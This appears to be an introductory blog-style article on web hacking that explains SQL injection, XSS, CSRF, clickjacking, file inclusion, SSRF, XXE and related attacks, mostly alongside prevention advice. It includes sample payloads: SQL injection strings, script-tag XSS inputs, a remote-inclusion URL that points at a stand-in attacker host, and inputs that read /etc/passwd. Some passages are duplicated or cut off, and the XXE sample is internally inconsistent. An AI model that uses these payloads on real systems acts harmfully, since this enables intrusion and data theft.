Web hacking tells us about the search and exploitation of security vulnerabilities in systems or networks.
There are several types of hackers:
There are different types of hackers based on their activities, intentions, and expertise. Here are some common types of hackers:
1. White Hat Hackers: Also known as ethical hackers, these individuals use their skills to identify vulnerabilities in computer systems and networks. Their aim is to help organizations improve their cybersecurity defenses.
2. Black Hat Hackers: These hackers engage in illegal activities and exploit vulnerabilities for personal gain. They may steal sensitive data, commit fraud, or disrupt computer networks. They are motivated by financial gain, thrill-seeking, or causing harm.
3. Grey Hat Hackers: Grey hat hackers are a mix between white hat and black hat hackers. They may expose vulnerabilities in systems or networks without authorization, but their intentions are not malicious. They usually implore this approach to raise awareness about security weaknesses.
Black Hat Hackers: These hackers engage in illegal activities and exploit vulnerabilities for personal gain. They may steal sensitive data, commit fraud, or disrupt computer networks. They are motivated by financial gain, thrill-seeking, or causing harm.
Grey Hat Hackers: Grey hat hackers are a mix between white hat and black hat hackers. They may expose vulnerabilities in systems or networks without authorization, but their intentions are not malicious. They usually implore this approach to raise awareness about security
Manipulation of an SQL query to achieve a different result than the purpose for which it was designed.
From an basic SQL statement:
select * from users where user=‘USER’ and password=‘PASSWORD’
We can fool the SQL with a similar statement:
select * from users where user = ‘999’ or ‘1’ = ‘1’ --’ and password = ‘password1’
SQL injection is a technique that allows attackers to execute malicious SQL commands on a web application’s database. By exploiting a SQL injection vulnerability, an attacker can bypass authentication, access sensitive data, modify or delete data, or execute arbitrary commands on the server.
One common scenario of SQL injection is to bypass the login form of a web application. A login form typically takes a username and a password from the user and checks them against the database. If the credentials are valid, the user is granted access to the application. However, if the login form is vulnerable to SQL injection, an attacker can enter a specially crafted input that always evaluates to true, regardless of the actual credentials.
For example, if the attacker enters ' or 1=1-- as the password, the SQL query that the application executes would look something like this:
SELECT * FROM users WHERE username='admin' AND password='' or 1=1--';
The -- symbol is a comment that ignores the rest of the query.
The or 1=1 condition is always true, so the query returns the record of the admin user, and the attacker can log in as the administrator without knowing the password.
To prevent SQL injection attacks, web developers should use parameterized queries or prepared statements, which separate the user input from the SQL query and prevent the execution of malicious commands. Web developers should also validate and sanitize the user input, and use secure coding practices and frameworks.
SELECT * FROM articles WHERE article=‘999’ or ‘1’ = ‘1’ --’
The sentence is an example of a SQL injection attack. It is attempting to manipulate a web application's database query in a way that allows the attacker to access unauthorized information or perform unintended actions.
This attack attempts to retrieve all rows from the "articles" table by manipulating the SQL query conditions and using a comment to bypass any potential errors. The targeted application should have proper input validation and parameterization to prevent such injection attacks.
Breaking down the sentence:
1. "SELECT * FROM articles": This is the beginning of a SQL query that selects all columns from the "articles" table in a database.
2. "WHERE article='999'": This part of the query specifies a condition where the value of the "article" column should be equal to '999'.
3. "or '1' = '1'": The "or" operator is used to combine conditions in a query. In this case, the condition '1' = '1' will always evaluate to true since the string '1' is equal to the string '1'. The intent here is to bypass the original condition and make it always true, allowing the attacker to proceed to the next part of the query.
4. "--'": This is a SQL comment syntax (--) used to comment out the remaining part of the query. By placing a comment marker after the last condition, the attacker can effectively ignore the rest of the original query, preventing any error messages and ensuring their injected code doesn't break the query.
SELECT * FROM articles WHERE article=‘999’ UNION SELECT null, ‘hello’ FROM dual --
This sentence is an example of a SQL injection attack, specifically a UNION-based attack.
In a SQL query, the SELECT statement is used to retrieve data from a database table. Here, the query is selecting all columns (*) from the "articles" table where the "article" column is equal to '999'.
The UNION operator is used to combine the result of two separate SELECT statements into a single result set. In this case, the attacker wants to inject their own SELECT statement into the original query.
The second SELECT statement includes the keywords "null" and "hello". The null value is used to fill in a column that doesn't exist in the original query, ensuring that the number of columns in both SELECT statements match. The string 'hello' is just an example of the attacker's payload; it could contain malicious code instead.
The FROM dual is a dummy table often used in SQL queries. It doesn't serve any purpose here beyond syntactic requirements.
The "--" indicates a comment in SQL, so everything after it is ignored by the database engine. This allows the attacker to bypass any remaining parts of the original query.
By injecting this UNION SELECT statement, the attacker can combine their payload (in this case, the string 'hello') with the original query's result set, potentially extracting additional information from the database or carrying out other attacks.
Cross-Site Scripting (XSS) is a type of security that allows attackers to inject malicious scripts into web pages viewed by other users. This occurs when a web application does not properly validate or sanitize user input before displaying it on a page.
XSS attacks can take different forms, such as:
1. Stored XSS: In this type of attack, the malicious script is permanently stored on a target server and is subsequently executed when users access a specific page or application.
Stored XSS, also known as persistent XSS, occurs when malicious code or content is permanently stored on a target website or application and executed whenever a user accesses the compromised page. Here's an example to illustrate how it works:
1. Assume a user is utilizing an online forum where they can post comments, and these comments are stored on the server and displayed to other users.
2. An attacker registers an account on the forum and then posts a comment containing malicious JavaScript code. For instance, they may include the following payload: `<script>alert('XSS attack!');</script>`.
3. The website/store/application fails to properly sanitize or validate user input, allowing the malicious code to be stored in the forum's database.
4. Whenever another user accesses the page where the malicious comment is displayed, the web page retrieves the stored comment from the database and renders it without properly encoding or escaping the code.
5. As a result, the JavaScript code embedded in the comment gets executed within the user's browser, triggering an alert box that says "XSS attack!"
2. Reflected XSS: In this type of attack, the malicious script is embedded in the URL or input fields of a website and is executed when the user visits or interacts with that particular URL.
https://www.google.com?query=<script type=’text/javascript’>alert(‘test’);</script>
3. DOM-based XSS: This type of attack exploits vulnerabilities in the Document Object Model (DOM) of a web page and allows the attacker to manipulate the page's structure or behavior.
Here is an example of DOM-based XSS:
HTML code:
```
<!DOCTYPE html>
<html>
<head>
<title>DOM-based XSS Example</title>
<script src="script.js"></script>
</head>
<body>
<h1>Welcome to our website!</h1>
<div id="content"></div>
</body>
</html>
JavaScript code (script.js):
var urlParams = new URLSearchParams(window.location.search);
var message = urlParams.get('message');
document.getElementById('content').innerHTML = "<p>" + message + "</p>";
In this example, the web page dynamically uses a query parameter called 'message' to populate the content of the
element with user-supplied data. If the user-controlled 'message' parameter is not properly sanitized or validated, an attacker can exploit the page by injecting malicious code into the URL.
Malicious URL: http://example.com/?message=
When the user visits the above URL, the malicious script is executed by the browser, leading to an alert popup displaying the text "XSS attack!". This demonstrates a DOM-based XSS vulnerability where the attacker can inject and execute arbitrary JavaScript code in the victim's browser context.
The impact of XSS attacks can range from stealing sensitive user information (such as login credentials, cookies, or session tokens) to modifying or defacing web pages, redirecting users to malicious sites, or executing other malicious actions on behalf of the user.
Mitigate XSS vulnerabilities, developers should properly validate and sanitize user inputs, use secure coding practices, and implement measures such as input validation, output encoding, and Content Security Policy (CSP). Users can protect themselves by keeping their web browsers up to date and being cautious about clicking on suspicious links or downloading files from untrusted sources.
Cross-Site Request Forgery (CSRF) is a type of attack where an attacker tricks a victim into performing an unwanted action on a trusted website. Here is an example of how CSRF can be exploited:
Let's say a victim is logged in to their online banking website. The website typically requires users to input their credentials (username and password) to authorize any action. In this scenario, the victim attempts to transfer $500 from their account to another user's account.
At the same time, the attacker has crafted a malicious website that contains a hidden form. This form performs a money transfer from the victim's account to the attacker's account on the banking website.
The attacker lures the victim into visiting their malicious website by disguising it as an enticing offer, such as a coupon code or a funny video. When the victim visits the website, the hidden form is submitted automatically without their knowledge or consent.
Since the victim is already logged in to the legitimate banking website, the CSRF attack successfully transfers $500 from the victim's account to the attacker's account. The victim only realizes the unauthorized transaction when it's too late.
This example showcases how CSRF can be employed to exploit the trust between a victim and a trusted website. Implementing countermeasures like using anti-CSRF tokens, confirming actions through secondary means (e.g., SMS verification), or implementing behavior-based anomaly detection can help protect against CSRF attacks.
Clickjacking is a type of attack where attackers trick users into clicking on a seemingly harmless element on a webpage, while actually performing a hidden action without their knowledge. One example of clickjacking is:
Imagine you land on a website that promises to show you funny videos. The webpage appears to have a play button on a video thumbnail, enticing you to click on it. However, unbeknownst to you, the play button is actually set up as a transparent layer that covers a hidden button or malicious link. When you click on the play button, you are unknowingly redirected to a malicious website or your personal information is stolen.
In this example, the attacker manipulates the placement and appearance of the play button, making it look like a legitimate action.
Remote File Inclusion (RFI) and Local File Inclusion (LFI) are both web application vulnerabilities that allow an attacker to include files on a web server.
Example of Remote File Inclusion (RFI):
Suppose a website has a page that includes a file based on user input like a parameter in the URL.
https://www.example.com/page.php?file=example.php
An attacker can exploit the vulnerability by providing a remote URL instead of a local file:
https://www.example.com/page.php?file=https://attacker.com/malicious_file.php
If the web server does not properly validate and sanitize user input and includes the file directly, it can execute the code from the attacker's remote file, compromising the server and potentially launching further attacks.
Example of Local File Inclusion (LFI):
Assume a web application includes local files based on user-supplied input without proper validation.
https://www.example.com/page.php?file=about.php
An attacker can try to include a sensitive system file, such as `/etc/passwd`, which contains usernames and hashed passwords of system users, by manipulating the parameter:
https://www.example.com/page.php?file=/etc/passwd
If the web application indiscriminately includes the file specified by the user input, the contents of `/etc/passwd` could be displayed to the attacker, potentially leading to further exploitation and unauthorized access.
Prevention measures include proper input validation and sanitization, avoiding dynamic file includes based on user input, utilizing secure coding practices, and implementing strong access controls to limit access to sensitive files.
A DDoS attack aims to overwhelm a target website or service by flooding it with an enormous amount of traffic or requests. This overload can result in the website becoming slow or even completely unavailable. The attacker accomplishes this by commanding a network of compromised devices (botnet) to send traffic to the target.
An example of a distributed denial of service (DDoS) attack is the Mirai botnet attack that occurred in 2016. Mirai was a malware that infected thousands of Internet of Things (IoT) devices, such as cameras, routers, and DVRs, by exploiting their weak security vulnerabilities.
Once infected, these devices became part of a massive botnet controlled by the attackers. The attackers then launched a DDoS attack by directing all the infected devices to send a flood of data requests to a targeted website or server. This overwhelming amount of traffic caused the targeted system to become overloaded and unable to fulfill legitimate requests, effectively denying service to legitimate users.
In the Mirai botnet attack, several high-profile websites, including Twitter, Reddit, Netflix, and GitHub, experienced significant disruptions as their servers struggled to handle the massive influx of traffic generated by the infected devices. The attack exposed vulnerabilities in IoT devices and highlighted the potential impact of DDoS attacks on critical online services.
SSRF involves manipulating a vulnerable server to make arbitrary requests to internal resources. For instance, an attacker may forge requests to retrieve sensitive data from internal databases, or exploit misconfigurations to execute commands on the server itself.
One example of Server-Side Request Forgery (SSRF) vulnerability is when an attacker tricks a web application into making requests to internal or external network resources that the application should not have access to. This can allow an attacker to bypass security controls, gain unauthorized access to internal systems, or perform reconnaissance on the targeted network.
Here is an example scenario:
Let's say there's a vulnerable web application that allows users to input a URL, which the application then fetches the content of that URL and displays it on the website. The application parser doesn't properly validate or restrict the URLs submitted by the users.
An attacker takes advantage of this vulnerability and submits a malicious URL, such as "http://localhost/admin_panel". Normally, this URL should not be accessible from the internet, but due to the SSRF vulnerability, the web application blindly follows the request and attempts to fetch the content of the URL.
As a result, the web application makes a request to the internal network, accessing the admin_panel page, and displays the contents on the attacker's browser. The attacker now has unauthorized access to internal resources and sensitive information that they should not have access to.
Furthermore, the attacker may escalate the impact of the SSRF vulnerability by exploiting the internal access to perform other attacks, such as accessing databases, performing port scanning, or launching attacks against internal systems.
To prevent this type of vulnerability, web applications should properly validate and restrict input URLs, implement proper access controls, and ensure that resources accessed by the application are limited to what is intended.
RCE refers to the ability of an attacker to execute arbitrary code on a target system or server by exploiting vulnerabilities, typically found in web applications. By successfully exploiting the vulnerability, an attacker can gain complete control over the system and perform unauthorized actions.
XML External Entity (XXE) Attacks
XXE attacks exploit the vulnerabilities in XML parsers, where an attacker can include external entities in XML documents to read sensitive files, perform remote requests, or even execute arbitrary code. For example, an attacker might inject a malicious XML file that extracts sensitive data from a server.
One common example of an XML External Entity (XXE) attack is when an attacker tries to exploit a vulnerable web application that accepts XML input without proper validation.
Let's consider a scenario where a website has a contact form that allows users to enter their personal information. The server back-end processes the submitted data in XML format. The server code may have a vulnerability that allows an attacker to inject malicious XML content.
The attacker crafts a malicious XML payload that includes an external entity reference pointing to a file on the server, like this:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ELEMENT xxe ANY>
<!ENTITY % externalEntity SYSTEM "file:///etc/passwd">
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=xxe">
]>
<xxe>&xxe;</xxe>
In this example, the attacker is trying to read the contents of the `/etc/passwd` file, which contains information about system user accounts.
When this payload is submitted through the website's contact form, the vulnerable server code may blindly process the XML without proper validation and resolving external entities. As a result, the server reads the `/etc/passwd` file and includes it in the XML response.
The attacker receives the XML response, which might contain the base64-encoded contents of the `/etc/passwd` file. By decoding the base64 data, the attacker can access sensitive information like usernames and password hashes stored in the `/etc/passwd` file.
This example demonstrates how an attacker can abuse XML External Entities to read sensitive files from the server's file system. The impact may vary based on the application's context and the permissions of the process running on the server.
Zero-day exploits are vulnerabilities or weaknesses in software that are unknown to the developers or vendors. Attackers discover and exploit these vulnerabilities before any patches or fixes are available, allowing them to compromise systems and gain unauthorized access. These exploits often target popular software or operating systems, such as browsers, and can lead to various types of attacks depending on the vulnerability, such as remote code execution or privilege escalation.
Here is an example of a known zero-day exploit:
Stuxnet Worm: Stuxnet was a sophisticated computer worm that was discovered in 2010. It was specifically designed to target Iran's nuclear program, mostly targeting control systems of centrifuges used in uranium enrichment. Stuxnet exploited several zero-day vulnerabilities in Microsoft Windows operating system and the Siemens SCADA systems (supervisory control and data acquisition). This allowed it to spread through networks and remain undetected by antivirus software, causing significant damage to Iran's nuclear facilities. Stuxnet was believed to be a joint effort of the United States and Israel.
Canonical URL: Web Hacking